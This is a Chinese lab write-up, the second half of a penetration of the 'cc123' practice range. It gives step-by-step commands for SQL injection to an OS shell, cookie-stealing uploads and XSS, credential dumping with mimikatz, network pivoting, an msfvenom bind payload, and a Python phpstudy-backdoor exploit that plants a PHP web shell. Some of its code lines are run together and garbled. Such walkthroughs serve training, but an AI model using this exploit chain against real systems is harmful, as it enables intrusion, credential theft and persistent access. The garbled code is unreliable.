零基础‘自外网到内网’渗透过程详细记录(cc123靶场)——下
细节较多,篇幅较大,分为上/下两部分发布在两篇文章内
另一部分详见下面文章
零基础‘自外网到内网’渗透过程详细记录(cc123靶场)——上https://blog.csdn.net/weixin_62808713/article/details/143572185
八、第二层数据库服务器权限获取
猜到新闻资讯内存在注入漏洞。
抓包进行验证。
将数据包粘贴到kali内。
vim cc123_sql.txt
使用sqlmap尝试注入。
sqlmap -r cc123_sql.txt --dbms mssql -v 1 --batch
查看其数据库。
sqlmap -r cc123_sql.txt --dbms mssql -v 1 --batch --dbs
查看当前数据库及其用户。
sqlmap -r cc123_sql.txt --dbms mssql -v 1 --batch --current-db --current-user
获取到了当前站点使用的数据库后,获取其相关的详细信息。
查看数据库grcms_data的表信息。
sqlmap -r cc123_sql.txt --dbms mssql -v 1 -D grcms_data --tables
看到名为admin的表,扫描其内信息,至此拿到了用户名及密码信息。
sqlmap -r cc123_sql.txt --dbms mssql -v 1 -D grcms_data -T admin --dump
接下来查看其是否能执行shell,发现可以执行。
sqlmap -r cc123_sql.txt --dbms mssql -v 1 --os-shell
执行命令看是否有回显,发现成功扫描到两个ip地址。
ipconfig
根据上面扫描到的ip地址,可以判断该网站采用站库分离,即web程序和数据库不在同一个服务器内,可以提高安全性。
查看当前权限,发现是系统权限。
whoami
至此,拿到了数据库服务器的系统权限。
九、.net代码审计
打开蚁剑查看服务器的目录。
C:/HwsHostMaster/wwwroot
访问目录C:/HwsHostMaster/wwwroot
cd C:/HwsHostMaster/wwwroot
dir
可以看到这里存在三个网站。
切换到ww2.cc123.com后并查看。
cd ww2cc123_55m39g
dir
进入到web目录下并查看。
cd web
dir
可以看到其存在上述文件,但是并没有看到html后缀的文件,发现站点是做了伪静态。
进入到bin目录下并查看文件。
cd bin
ls
切换到bin目录的上一级下载bin目录。
cd..
download bin
将下载的文件全部复制到本地。
首先将下载的文件移动到kali的桌面上。
mv bin /home/kali/Desktop
将其复制到本地。
这里即为网站的源代码。
接下来使用ILSpy工具逆向DLL文件进行分析。
查看admin目录下的文件。
查看login.aspx文件,可以看到App_Web_login.aspx。
cat login.aspx
回到本地内找一下App_Web_login.aspx,将其拖拽到工具内。
可以看到下面验证登录的代码。
审计这部分代码,发现其验证码错误后会进行返回,如果验证码正确的话会继续向下执行,但是这里验证码并没有被注销,这就导致验证码重用的漏洞,存在密码爆破的风险。
继续审计,发现下图所示的部分的代码导致其存在注入风险。
查看之前的数据包,发现有个newsadd.aspx。
回到本地内找到后将其拖拽到工具内。
可以看到下图位置也存在sql注入。
经过具体的分析后,发现任意的后台文件都存在sql注入。
进入到网页的后台内,查看其编辑器,发现其使用的是KindEditor。
这个编辑器存在漏洞,可以进行文件上传,包括html文件和txt文件等。
使用burp抓包上传html文件获取cookie。
下面代码可以获取cookie。
回到网页内将上面的html文件上传并抓包。
选择html文件。
抓取到下图所示数据包。
将数据包发送到repeater。
将下图所示位置修改成file。
放包后发现上传成功。
访问html文件,成功获取到了cookie。
ww2.cc123.com/editor/asp.net/../attached/file/20240903/20240903162048_4230.html
下面来审计文件上传漏洞。
使用编辑器上传一个文件并抓包,发现其地址内有一个newsadd.aspx。
回到本机机内找到这个文件并审计。
Ctrl+F查找upload,找到上传部分的代码。
发现其对上传的文件的后缀名进行了白名单验证,这里并不存在漏洞。
接下来返回到后台页面内,进行xss漏洞挖掘。
回到kali内查看web文件夹内的前台文件。
dir
查看文件mystat.aspx。
cat mystat.aspx
发现其存在XSS漏洞。
访问mystat.aspx文件。
点击查看页面源代码。
源代码如下,测试可以看到其style字段可控。
根据源代码,写入XSS语句。执行后成功看到了弹窗。
http://ww2.cc123.com/mystat.aspx?style=</script><script>alert(/xss/);</script><script>
至此,通过代码审计,后台页面内XSS漏洞挖掘完成。
十、编写DESC解密工具
查看web.Config文件。
cat web.Config
可以看到其数据库连接信息。
复制后回到之前上传的ASPXSpy2014.aspx内。
http://new.cc123.com/a/ASPXSpy2014.aspx
点击DataBase,将前面复制的数据库信息输入。
server=WIN-JJU7KU45PN7;database=grcms_data;uid=sa;pwd=!@#a123..
下图所示成功连接。
点击下面展示出来的TABLE_NAME,就可以把对应的sql语句显示在上面。
点击Query即可得到表内的信息。
这里就可以拿到用户名密码信息。
- admin AE5F6187F32825CA
- cc123 B97C57DB005F954242450A255217DA9F
尝试进行md5解密,发现均不成功。
再次利用ILSpy工具逆向分析其加密代码。
点击重新加载。
将后台登录文件拖入到工具内。
可以看到在密码部分的sql语句后面有一个字符串处理,包含一个key值。
点击进入Encrypt即为其加密方法。
其解密方法在加密方法的上方。
拿到上面的信息就可以编写解密工具了。
使用VS新建windows窗体应用程序项目。
在工具箱内选择添加组件,将其拖拽到下面。
给组件一个名字。
名字:DESC解密工具
接下来添加三个文本框,选择后将其拖拽到下面。
添加button组件。
将其命名为解密。
添加label标签。
分别命名。
调整细节。
添加名称。
名称:ranzi
双击“解密”进入编写解密代码。
复制刚刚的解密函数稍作更改后即可。
利用编写的解密工具解密得到用户名和对应的密码为:
- admin cc123
- cc123 qweasd123
十一、内网渗透
获取Web服务器路由信息,成功获取到了路由信息如下。
run get_local_subnets
接下来准备获取哈希值及明文密码。
首先做一下进程迁移,防止出错。
执行help命令查找终端。
help
执行ps命令找到vmtoolsd.exe进程,记住其进程号。
执行迁移命令。
migrate 1488
如下图所示即为迁移完成。
然后退出一下,然后进入一个新的会话。
background
sessions -i 2
加载Kiwi插件。
load kiwi
请求Kiwi获取调试权限,然后从系统的安全账户管理器(SAM)数据库中提取用户账户信息,包括用户名和哈希密码。
kiwi_cmd privilege::debug
kiwi_cmd "lsadump::sam"
提取当前登录用户的密码信息,包括明文密码和哈希值。
kiwi_cmd "sekurlsa::logonPasswords"
成功获取到了超级管理员的账号和密码明文。
整理前面获取到的信息,准备进行内网渗透:
- 192.168.10.134
- 10.10.10.128
- Local subnet: 10.10.10.0/255.255.255.0
- Local subnet: 192.168.10.0/255.255.255.0
- Administrator !@#Qwe123.
根据前面获取到的信息开始进行多重网段的内网渗透。
首先给web服务器进行添加路由。
run autoroute -s 10.10.10.0/24
验证是否成功添加。
run autoroute -p
退出一下准备启用代理模块。
background
调用模块并查看其需要的配置。
use auxiliary/server/socks_proxy
show options
修改配置信息。
set srvport 2222
开始执行。
run
验证前面操作是否成功。
首先修改配置文件。
vim /etc/proxychains4.conf
之后就可以进行内网扫描了。
proxychains nmap -sT -Pn 10.10.10.136
利用前面获取到的数据库的权限,获取数据库服务器网卡信息。
ipconfig
可以看到存在一个10.10.1.128的ip。
之后,要生成一个正向攻击载荷。
msfvenom -p windows/meterpreter/bind_tcp LPORT=13777 -f exe >bind.exe
将生成的攻击载荷移动到桌面。
mv bind.exe /home/kali/Desktop
访问之前上传的ASPXSpy2014.aspx。
http://new.cc123.com/a/ASPXSpy2014.aspx
选择SA_Upfile将刚刚生成的攻击载荷上传。
选择前面移动到桌面的攻击载荷。
添加上传路径后点击上传。
c:/bind.exe
上传成功后选择XP_cmdshell exec进行执行。
修改执行语句后点击Query。
Exec master.dbo.xp_cmdshell 'c:/bind.exe'
接下来准备开始监听。
选择模块。
use exploit/multi/handler
设置payload。
set payload windows/meterpreter/bind_tcp
配置监听地址。
set rhost 10.10.10.136
配置监听端口。
set lport 13777
开始监听。
run
成功连接。
查看当前权限。
getuid
可以看到已经是系统权限。
十二、获取数据库服务器哈希和明文
查看服务器网卡信息。
ipconfig
可以看到两个ip信息:
- 10.10.1.128
- 10.10.10.136
首先做一下进程的迁移。
首先查看进程。
ps
执行迁移命令。
migrate 1548
然后退出一下,进入一个新的会话。
background
sessions -i 2
加载Kiwi插件。
load kiwi
请求Kiwi获取调试权限,然后从系统的安全账户管理器(SAM)数据库中提取用户账户信息,包括用户名和哈希密码。
kiwi_cmd privilege::debug
kiwi_cmd "lsadump::sam"
提取当前登录用户的密码信息,包括明文密码和哈希值。
kiwi_cmd "sekurlsa::logonPasswords"
下图成功获取到了超级管理员的账号和密码明文。
进入到shell内。
shell
查看数据库主机名。
hostname
看完之后crtl+z退出。
查看数据库服务器的路由。
run get_local_subnets
可以看到路由信息如下:
- Local subnet: 10.10.1.0/255.255.255.0
- Local subnet: 10.10.10.0/255.255.255.0
配置添加路由。
run autoroute -s 10.10.1.0/24
验证。
run autoroute -p
扫描10.10.1.129。
proxychains nmap -sT -Pn 10.10.1.129
可以看到其开放80端口,尝试使用代理进行访问,访问后可以看到其是phpstudy的页面。
proxychains3 firefox http://10.10.1.129
根据前面获取到的信息,确认其版本为5.4.45。
phpstudy的2016、2014、2018的php-5.2.17、php-5.4.45版本均存在后门。
十三、利用python编写phpstudy后门利用工具
确认漏洞的存在后,接下来进行编写后门利用工具。
创建phpstudy.py文件。
vim phpstudy.py
代码编写如下。
#conding:utf-8
import requests
import sys
import base64shell = "system('"+sys.argv[1]+"');"
shell_base64 = base64.b64encode(shell.encode('utf-8'))header={'Accept-charset':shell_base64,'Accept-Encoding':'gzip,deflate'}def exploit(url):html = requests.get(url=url,headers=header).textreturn htmlurl = "http://10.10.1.129/"
print(exploit(url))"echo ^<?php @eval(\$_POST[\"shell\"])?^>>c:\phpstudy\WWW\shell.php"
执行上述py文件,向服务器写一个一句话木马。
proxychains3 python3 phpstudy.py "echo ^<?php@eval(\$_POST[\"shell\"])?^>>c:\phpstudy\WWW\shell.php"
访问写入的shell.php文件,发现成功上传了。
十四、SocksCap代理访问目标WEB服务器
为了更方便访问,使用SocksCap代理访问第三层服务器。
双击安装SocksCap代理工具。
点击下一步。
点击我接受。
选择位置后点击安装。
点击完成结束安装。
双击启动。
复制kali的ip。
192.168.10.132
回到SocksCap代理工具内,点击新增代理。
点击编辑其ip,将kali的ip填入。
端口更改为2222。
代理类型更改为sock4。
此时点击保存即可。
保存完成后可以点击进行测试。
测试正常后就可以代理一些应用程序了,这里代理中国菜刀。
找到中国菜刀的exe程序。
将其拖拽到代理工具内。
选中程序右键点击后选择在代理隧道中运行选中程序。
在弹出的页面内右键后点击添加。
将前面上传到服务器上的shell添加上去,然后填入密码,设置为UTF-8,最后点击添加。
添加完成后双击即可进行访问。
退出后右键即可进入虚拟终端。
进入终端后执行whoami命令。
whoami
可以看到已经是系统权限。
十五、metasploit正向连接目标WEB服务器
将之前在kali内生成的bind.exe上传到服务器内。
通过终端执行刚刚上传的exe。
c:\bind.exe
退出一下。
background
查看当前配置信息。
show options
修改配置信息。
set RHOST 10.10.1.129
执行后查看其权限,发现是系统权限。
run
getuid
执行线程迁移操作。
migrate 1340
进入shell后即可查看当前所在网段有无其它主机。
shell
arp-a
至此拿到了第三层服务器的系统权限。
十六、Flag获取
1.第一个flag
首先进入到wwwroot目录下。
cd C:/HwsHostMaster/wwwroot/
查看目录下内容,并进入ww2cc123_55m39g目录。
dir
cd ww2cc123_55m39g
进入到web目录下并查看。
cd web
dir
进入到upimg目录下然后查看目录内容。
cd upimg
dir
在此可以看到一个flag文件,查看后即可得到第一个flag。
cat flag.txt
2.第二个flag
进入到c盘根目录下并查看。
cd c:/users
dir
看到Administrator文件夹,进入并查看。
cd Administrator
dir
在此可以看到一个flag文件,查看后即可得到第二个flag。
cat flag2.txt
3.第三个flag
连接到数据库服务器。
进入c盘并查看文件。
cd c:/users
dir
看到Administrator文件夹,进入并查看。
cd Administrator
dir
在此可以看到一个名为root.txt.txt文件,查看后即可得到第三个flag。
cat root.txt.txt
4.第四个flag
连接到第三城的服务器后进入c盘。
cd :\\users
dir
看到Administrator文件夹,进入并查看。
cd Administrator
dir
在此可以看到一个名为root.txt.txt文件,查看后即可得到第四个flag。
cat root.txt
至此,获取到了全部的flag。